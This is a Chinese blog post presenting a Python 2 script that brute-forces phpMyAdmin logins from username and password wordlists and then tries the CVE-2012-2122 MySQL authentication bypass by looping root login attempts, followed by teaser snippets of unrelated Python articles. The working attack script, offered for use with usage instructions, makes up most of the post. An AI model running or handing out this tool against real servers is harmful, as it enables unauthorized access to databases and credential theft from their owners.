Python写的PHPMyAdmin暴力破解工具代码

yipeiwu_com6年前Python基础

PHPMyAdmin暴力破解,加上CVE-2012-2122 MySQL Authentication Bypass Vulnerability漏洞利用。

#!/usr/bin/env python
import urllib 
import urllib2 
import cookielib 
import sys
import subprocess
def Crack(url,username,password):
	opener = urllib2.build_opener(urllib2.HTTPCookieProcessor(cookielib.LWPCookieJar())) 
	headers = {'User-Agent' : 'Mozilla/5.0 (Windows NT 6.1; WOW64)'}
	params = urllib.urlencode({'pma_username': username, 'pma_password': password})
	request = urllib2.Request(url+"/index.php", params,headers)
	response = opener.open(request) 
	a=response.read() 
	if a.find('Database server')!=-1 and a.find('name="login_form"')==-1:
		return username,password
	return 0
def MySQLAuthenticationBypassCheck(host,port):
	i=0
	while i<300:
		i=i+1
		subprocess.Popen("mysql --host=%s -P %s -uroot -piswin" % (host,port),shell=True).wait()
if __name__ == '__main__':
	if len(sys.argv)<4:
		print "#author:iswin\n#useage python pma.py //www.jb51.net/phpmyadmin/ username.txt password.txt"
		sys.exit()
	print "Bruting,Pleas wait..."
	for name in open(sys.argv[2],"r"):
		for passw in open(sys.argv[3],"r"):
			state=Crack(sys.argv[1],name,passw)
			if state!=0:
				print "\nBrute successful"
				print "UserName: "+state[0]+"PassWord: "+state[1]
				sys.exit()
	print "Sorry,Brute failed...,try to use MySQLAuthenticationBypassCheck"
	choice=raw_input('Warning:This function needs mysql environment.\nY:Try to MySQLAuthenticationBypassCheck\nOthers:Exit\n')
	if choice=='Y' or choice=='y':
		host=raw_input('Host:')
		port=raw_input('Port:')
		MySQLAuthenticationBypassCheck(host,port)

相关文章

Python求离散序列导数的示例

Python求离散序列导数的示例

有一组4096长度的数据,需要找到一阶导数从正到负的点,和三阶导数从负到正的点,截取了一小段。 394.0 388.0 389.0 388.0 388.0 392.0 39...

解决Python中pandas读取*.csv文件出现编码问题

解决Python中pandas读取*.csv文件出现编码问题

1、问题 在使用Python中pandas读取csv文件时,由于文件编码格式出现以下问题: Traceback (most recent call last): File "pan...

python实现简单多人聊天室

python实现简单多人聊天室

本文实例为大家分享了python实现多人聊天室的具体代码,供大家参考,具体内容如下 刚开始学习python,写了一个聊天室练练手。 Server.py import socket,s...

opencv python 图像去噪的实现方法

opencv python 图像去噪的实现方法

在早先的章节里,我们看到很多图像平滑技术如高斯模糊,Median模糊等,它们在移除数量小的噪音时在某种程度上比较好用。在这些技术里,我们取像素周围的一小部分邻居,做一些类似于高斯平均权重...

对python 多个分隔符split 的实例详解

python中.split()只能用指定一个分隔符 例如: text='3.14:15' print text.split('.') 输出结果如下: ['3', '14:15'...